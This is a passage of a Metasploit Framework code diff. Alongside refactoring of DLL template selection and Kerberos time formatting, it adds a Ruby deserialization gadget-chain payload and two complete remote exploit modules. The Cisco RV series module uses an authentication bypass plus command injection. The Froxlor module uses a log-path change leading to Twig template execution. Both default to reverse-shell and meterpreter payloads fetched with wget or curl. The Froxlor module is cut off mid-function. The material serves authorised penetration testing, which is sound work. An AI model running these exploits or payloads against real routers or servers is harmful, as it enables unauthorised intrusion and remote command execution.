if command.nil?
|
||||
raise 'Could not generate the payload for the platform/architecture combination'
|
||||
end
|
||||
|
||||
generate_ruby_deserialization_for_command(command, name)
|
||||
end
|
||||
|
||||
def self.gadget_chains
|
||||
Msf::Util::RubyDeserialization.payload_names
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -22,7 +22,7 @@ module Msf::Module::HasActions
|
||||
def find_action(name)
|
||||
return nil if not name
|
||||
actions.each do |a|
|
||||
return a if a.name == name
|
||||
return a if a.name.downcase == name.downcase
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
+50
-39
@@ -530,7 +530,7 @@ require 'digest/sha1'
|
||||
|
||||
case opts[:exe_type]
|
||||
when :service_exe
|
||||
max_length = 8192
|
||||
opts[:exe_max_sub_length] ||= 8192
|
||||
name = opts[:servicename]
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
@@ -541,18 +541,18 @@ require 'digest/sha1'
|
||||
end
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
|
||||
when :dll
|
||||
max_length = 4096
|
||||
opts[:exe_max_sub_length] ||= 4096
|
||||
when :exe_sub
|
||||
max_length = 4096
|
||||
opts[:exe_max_sub_length] ||= 4096
|
||||
end
|
||||
|
||||
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
|
||||
|
||||
if code.length <= max_length
|
||||
if code.length <= opts.fetch(:exe_max_sub_length)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of " +
|
||||
"#{max_length} bytes, please fix the calling module"
|
||||
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if opts[:exe_type] == :dll
|
||||
@@ -671,6 +671,40 @@ require 'digest/sha1'
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
# self.set_template_default_winpe_dll
|
||||
#
|
||||
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
|
||||
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @param arch The architecture, as one the predefined constants.
|
||||
# @param size [Integer] The size of the payload.
|
||||
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
|
||||
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
|
||||
return if opts[:template].present?
|
||||
|
||||
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
|
||||
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
|
||||
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
|
||||
if match
|
||||
opts[:exe_max_sub_length] = match.first
|
||||
size_suffix = match.last
|
||||
end
|
||||
|
||||
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
|
||||
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
|
||||
|
||||
if flavor.present?
|
||||
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
|
||||
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
|
||||
end
|
||||
|
||||
flavor = '_' + flavor
|
||||
end
|
||||
|
||||
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
|
||||
end
|
||||
|
||||
# self.to_win32pe_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
@@ -681,13 +715,8 @@ require 'digest/sha1'
|
||||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win32pe_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
if opts.fetch(:mixed_mode, false)
|
||||
default_exe_template = 'template_x86_windows_mixed_mode.dll'
|
||||
else
|
||||
default_exe_template = 'template_x86_windows.dll'
|
||||
end
|
||||
set_template_default(opts, default_exe_template)
|
||||
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
|
||||
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
@@ -707,13 +736,9 @@ require 'digest/sha1'
|
||||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win64pe_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
if opts.fetch(:mixed_mode, false)
|
||||
default_exe_template = 'template_x64_windows_mixed_mode.dll'
|
||||
else
|
||||
default_exe_template = 'template_x64_windows.dll'
|
||||
end
|
||||
set_template_default(opts, default_exe_template)
|
||||
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
|
||||
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
|
||||
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
@@ -724,7 +749,7 @@ require 'digest/sha1'
|
||||
end
|
||||
|
||||
|
||||
# self.to_win32pe_dll
|
||||
# self.to_win32pe_dccw_gdiplus_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
# @param code [String]
|
||||
@@ -734,18 +759,11 @@ require 'digest/sha1'
|
||||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
self.to_win32pe(framework, code, opts)
|
||||
else
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
|
||||
to_win32pe_dll(framework, code, opts)
|
||||
end
|
||||
|
||||
# self.to_win64pe_dll
|
||||
# self.to_win64pe_dccw_gdiplus_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
# @param code [String]
|
||||
@@ -755,15 +773,8 @@ require 'digest/sha1'
|
||||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
|
||||
else
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
|
||||
to_win64pe_dll(framework, code, opts)
|
||||
end
|
||||
|
||||
# Wraps an executable inside a Windows .msi file for auto execution when run
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Ruby deserialization Utility
|
||||
module Msf
|
||||
module Util
|
||||
# Ruby deserialization class
|
||||
class RubyDeserialization
|
||||
# That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.
|
||||
PAYLOADS = {
|
||||
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
|
||||
net_writeadapter: proc do |command|
|
||||
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement" \
|
||||
"[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:" \
|
||||
"#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI#{Marshal.dump(Rex::Text.rand_text_alphanumeric(12..20))[2..-1]}" \
|
||||
"\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14" \
|
||||
"Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r" \
|
||||
"@git_setI#{Marshal.dump(command)[2..-1]}\x06;\fT;\x12:\fresolve"
|
||||
end
|
||||
}
|
||||
|
||||
def self.payload(payload_name, command = nil)
|
||||
|
||||
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
|
||||
|
||||
PAYLOADS[payload_name.to_sym].call(command)
|
||||
end
|
||||
|
||||
def self.payload_names
|
||||
PAYLOADS.keys
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,6 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'bindata'
|
||||
require 'rex/post/channel'
|
||||
|
||||
module Rex::Proto::Http::WebSocket
|
||||
class WebSocketError < StandardError
|
||||
|
||||
@@ -82,10 +82,10 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
end
|
||||
|
||||
output << 'Times:'
|
||||
output << "Auth time: #{cred.authtime}".indent(2)
|
||||
output << "Start time: #{cred.starttime}".indent(2)
|
||||
output << "End time: #{cred.endtime}".indent(2)
|
||||
output << "Renew Till: #{cred.renew_till}".indent(2)
|
||||
output << "Auth time: #{present_time(cred.authtime)}".indent(2)
|
||||
output << "Start time: #{present_time(cred.starttime)}".indent(2)
|
||||
output << "End time: #{present_time(cred.endtime)}".indent(2)
|
||||
output << "Renew Till: #{present_time(cred.renew_till)}".indent(2)
|
||||
|
||||
output << 'Ticket:'
|
||||
output << "Ticket Version Number: #{ticket.tkt_vno}".indent(2)
|
||||
@@ -113,12 +113,12 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
output = []
|
||||
output << 'Validation Info:'
|
||||
|
||||
output << "Logon Time: #{present_time(validation_info.logon_time)}".indent(2)
|
||||
output << "Logoff Time: #{present_time(validation_info.logoff_time)}".indent(2)
|
||||
output << "Kick Off Time: #{present_time(validation_info.kick_off_time)}".indent(2)
|
||||
output << "Password Last Set: #{present_time(validation_info.password_last_set)}".indent(2)
|
||||
output << "Password Can Change: #{present_time(validation_info.password_can_change)}".indent(2)
|
||||
output << "Password Must Change: #{present_time(validation_info.password_must_change)}".indent(2)
|
||||
output << "Logon Time: #{present_ndr_file_time(validation_info.logon_time)}".indent(2)
|
||||
output << "Logoff Time: #{present_ndr_file_time(validation_info.logoff_time)}".indent(2)
|
||||
output << "Kick Off Time: #{present_ndr_file_time(validation_info.kick_off_time)}".indent(2)
|
||||
output << "Password Last Set: #{present_ndr_file_time(validation_info.password_last_set)}".indent(2)
|
||||
output << "Password Can Change: #{present_ndr_file_time(validation_info.password_can_change)}".indent(2)
|
||||
output << "Password Must Change: #{present_ndr_file_time(validation_info.password_must_change)}".indent(2)
|
||||
|
||||
output << "Logon Count: #{validation_info.logon_count}".indent(2)
|
||||
output << "Bad Password Count: #{validation_info.bad_password_count}".indent(2)
|
||||
@@ -129,8 +129,8 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
output << "User Account Control: #{validation_info.user_account_control}".indent(2)
|
||||
output << "Sub Auth Status: #{validation_info.sub_auth_status}".indent(2)
|
||||
|
||||
output << "Last Successful Interactive Logon: #{present_time(validation_info.last_successful_i_logon)}".indent(2)
|
||||
output << "Last Failed Interactive Logon: #{present_time(validation_info.last_failed_i_logon)}".indent(2)
|
||||
output << "Last Successful Interactive Logon: #{present_ndr_file_time(validation_info.last_successful_i_logon)}".indent(2)
|
||||
output << "Last Failed Interactive Logon: #{present_ndr_file_time(validation_info.last_failed_i_logon)}".indent(2)
|
||||
output << "Failed Interactive Logon Count: #{validation_info.failed_i_logon_count}".indent(2)
|
||||
|
||||
output << "SID Count: #{validation_info.sid_count}".indent(2)
|
||||
@@ -160,7 +160,7 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
output = []
|
||||
output << 'Client Info:'
|
||||
output << "Name: '#{client_info.name.encode('utf-8')}'".indent(2)
|
||||
output << "Client ID: #{present_time(client_info.client_id)}".indent(2)
|
||||
output << "Client ID: #{present_ndr_file_time(client_info.client_id)}".indent(2)
|
||||
output.join("\n")
|
||||
end
|
||||
|
||||
@@ -231,10 +231,10 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_part)
|
||||
output = []
|
||||
output << 'Times:'
|
||||
output << "Auth time: #{ticket_enc_part.authtime}".indent(2)
|
||||
output << "Start time: #{ticket_enc_part.starttime}".indent(2)
|
||||
output << "End time: #{ticket_enc_part.endtime}".indent(2)
|
||||
output << "Renew Till: #{ticket_enc_part.renew_till}".indent(2)
|
||||
output << "Auth time: #{present_time(ticket_enc_part.authtime)}".indent(2)
|
||||
output << "Start time: #{present_time(ticket_enc_part.starttime)}".indent(2)
|
||||
output << "End time: #{present_time(ticket_enc_part.endtime)}".indent(2)
|
||||
output << "Renew Till: #{present_time(ticket_enc_part.renew_till)}".indent(2)
|
||||
|
||||
output << "Client Addresses: #{ticket_enc_part.caddr.to_a.length}"
|
||||
unless ticket_enc_part.caddr.to_a.empty?
|
||||
@@ -281,14 +281,21 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
|
||||
# @param [RubySMB::Dcerpc::Ndr::NdrFileTime] time
|
||||
# @return [String] A human readable representation of the time
|
||||
def present_time(time)
|
||||
def present_ndr_file_time(time)
|
||||
if time.get == Rex::Proto::Kerberos::Pac::NEVER_EXPIRE
|
||||
'Never Expires (inf)'
|
||||
elsif time.get == 0
|
||||
'No Time Set (0)'
|
||||
else
|
||||
time.to_time.to_s
|
||||
present_time(time.to_time)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# @param [Time] time
|
||||
# @return [String] A human readable representation of the time in the users timezone
|
||||
def present_time(time)
|
||||
time.localtime.to_s
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Dumps SAM hashes and LSA secrets (including cached creds) from the
|
||||
remote Windows target without executing any agent locally. First, it
|
||||
reads as much data as possible from the registry and then save the
|
||||
hives locally on the target (%SYSTEMROOT%\random.tmp). Finally, it
|
||||
hives locally on the target (%SYSTEMROOT%\Temp\random.tmp). Finally, it
|
||||
downloads the temporary hive files and reads the rest of the data
|
||||
from it. This temporary files are removed when it's done.
|
||||
|
||||
@@ -162,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.tmp"
|
||||
vprint_status("Save key to #{file_name}")
|
||||
@winreg.save_key(new_key_handle, file_name)
|
||||
@winreg.save_key(new_key_handle, "..\\Temp\\#{file_name}")
|
||||
file_name
|
||||
ensure
|
||||
@winreg.close_key(new_key_handle) if new_key_handle
|
||||
@@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def retrieve_hive(hive_name)
|
||||
file_name = save_registry_key(hive_name)
|
||||
tree2 = simple.client.tree_connect("\\\\#{sock.peerhost}\\ADMIN$")
|
||||
file = tree2.open_file(filename: "System32\\#{file_name}", delete: true, read: true)
|
||||
file = tree2.open_file(filename: "Temp\\#{file_name}", delete: true, read: true)
|
||||
file.read
|
||||
ensure
|
||||
file.delete if file
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits two vulnerabilities, a session ID directory traversal authentication
|
||||
bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
|
||||
and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
|
||||
This access can then be used to pivot to other parts of the network. This module works on firmware
|
||||
versions 1.0.03.24 and below.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux', 'unix'],
|
||||
'Author' => [
|
||||
'Biem Pham', # Vulnerability Discoveries
|
||||
'Neterum', # Metasploit Module
|
||||
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb
|
||||
],
|
||||
'DisclosureDate' => '2021-11-02',
|
||||
'Arch' => [ARCH_CMD, ARCH_ARMLE],
|
||||
'References' => [
|
||||
['CVE', '2022-20705'], # Authentication Bypass
|
||||
['CVE', '2022-20707'], # Command Injection
|
||||
['ZDI', '22-410'], # Authentication Bypass
|
||||
['ZDI', '22-411'] # Command Injection
|
||||
],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'Payload' => {
|
||||
'BadChars' => '\'#'
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_netcat'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_ARMLE],
|
||||
'Type' => :linux_dropper,
|
||||
'Payload' => {
|
||||
'BadChars' => '\'#'
|
||||
},
|
||||
'CmdStagerFlavor' => [ 'wget', 'curl' ],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'MeterpreterTryToFork' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# sessionid utilized later needs to be set to length
|
||||
# of 16 or exploit will fail. Tested with lengths
|
||||
# 14-17
|
||||
def generate_session_id
|
||||
return Rex::Text.rand_text_alphanumeric(16)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/upload',
|
||||
'headers' => {
|
||||
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
|
||||
}
|
||||
}, 10)
|
||||
|
||||
# A proper "upload" will trigger file creation. So the send_request_cgi call
|
||||
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
|
||||
# status code 405 Not Allowed if authentication has been bypassed by the above request.
|
||||
# The firmware containing this authentication bypass also contains the command injection
|
||||
# vulnerability that will be abused during actual exploitation. Non-vulnerable
|
||||
# firmware versions will respond with 403 Forbidden.
|
||||
if res.nil?
|
||||
return CheckCode::Unknown('The device did not respond to request packet.')
|
||||
elsif res.code == 405
|
||||
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
|
||||
elsif res.code == 403
|
||||
return CheckCode::Safe('The device is not vulnerable to exploitation.')
|
||||
else # Catch-all
|
||||
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
res = send_exploit(cmd)
|
||||
|
||||
# Successful unix_cmd shells should not produce a response.
|
||||
# However if a response is returned, check the status code and return
|
||||
# Failure::NotVulnerable if it is 403 Forbidden.
|
||||
if target['Type'] == :unix_cmd && res&.code == 403
|
||||
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
|
||||
end
|
||||
|
||||
if target['Type'] == :linux_dropper
|
||||
fail_with(Failure::Unreachable, 'The target did not respond') unless res
|
||||
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
|
||||
begin
|
||||
body_json = res.get_json_document
|
||||
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
|
||||
rescue JSON::ParserError => e
|
||||
print_error("Failed: #{e.class} - #{e.message}")
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
|
||||
end
|
||||
end
|
||||
|
||||
print_good('Exploit successfully executed.')
|
||||
end
|
||||
|
||||
def send_exploit(cmd)
|
||||
filename = Rex::Text.rand_text_alphanumeric(5..12)
|
||||
fileparam = Rex::Text.rand_text_alphanumeric(5..12)
|
||||
input = Rex::Text.rand_text_alphanumeric(5..12)
|
||||
|
||||
# sessionid utilized later needs to be set to length
|
||||
# of 16 or exploit will fail. Tested with lengths
|
||||
# 14-17
|
||||
sessionid = Rex::Text.rand_text_alphanumeric(16)
|
||||
|
||||
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
|
||||
pathparam = 'Configuration'
|
||||
|
||||
destination = "'; " + cmd + ' #'
|
||||
|
||||
multipart_form = Rex::MIME::Message.new
|
||||
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
|
||||
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
|
||||
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
|
||||
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
|
||||
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
|
||||
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
|
||||
|
||||
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/upload',
|
||||
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
|
||||
'headers' => {
|
||||
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
|
||||
},
|
||||
'data' => multipart_form.to_s
|
||||
}, 10)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager(linemax: 120)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,263 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Froxlor Log Path RCE',
|
||||
'Description' => %q{
|
||||
Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path
|
||||
to any directory on the OS level which the user www-data can write without restrictions from the backend which
|
||||
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
|
||||
remote command execution under the user www-data.
|
||||
},
|
||||
'Author' => [
|
||||
'Askar', # discovery
|
||||
'jheysel-r7' # module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://shells.systems/author/askar/'],
|
||||
[ 'CVE', '2023-0315']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Privileged' => false,
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Linux ',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'CmdStagerFlavor' => ['wget'],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
},
|
||||
'DisclosureDate' => '2023-01-29'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
|
||||
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'loginname' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'send' => 'send',
|
||||
'dologin' => ''
|
||||
}
|
||||
)
|
||||
|
||||
if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
print_good('Successful login')
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
@authenticated = login
|
||||
rescue InvalidRequest, InvalidResponse => e
|
||||
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
|
||||
end
|
||||
|
||||
version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, version_url),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
|
||||
else
|
||||
version = res.get_html_document.at('body/span/text()')
|
||||
if version
|
||||
if Rex::Version.new('2.0.6') >= Rex::Version.new(version)
|
||||
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_csrf_token(url)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, url),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)
|
||||
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
|
||||
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
|
||||
print_good("CSRF token is : #{csrf_token}")
|
||||
csrf_token
|
||||
end
|
||||
|
||||
def change_log_path(new_logfile)
|
||||
mime = Rex::MIME::Message.new
|
||||
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
|
||||
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
|
||||
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
|
||||
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
|
||||
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
|
||||
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
|
||||
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
|
||||
mime.add_part('overview', nil, nil, 'form-data; name="page"')
|
||||
mime.add_part('', nil, nil, 'form-data; name="action"')
|
||||
mime.add_part('send', nil, nil, 'form-data; name="send"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
|
||||
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
|
||||
'keep_cookies' => true,
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'theme' => "{{['#{cmd}']|filter('exec')}}",
|
||||
'csrf_token' => @csrf_token,
|
||||
'page' => 'change_theme',
|
||||
'send' => 'send',
|
||||
'dosave' => ''
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 302 && res.headers['Location']
|
||||
if res.headers['Location'] == 'admin_index.php'
|
||||
print_good('Injected payload successfully')
|
||||
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
|
||||
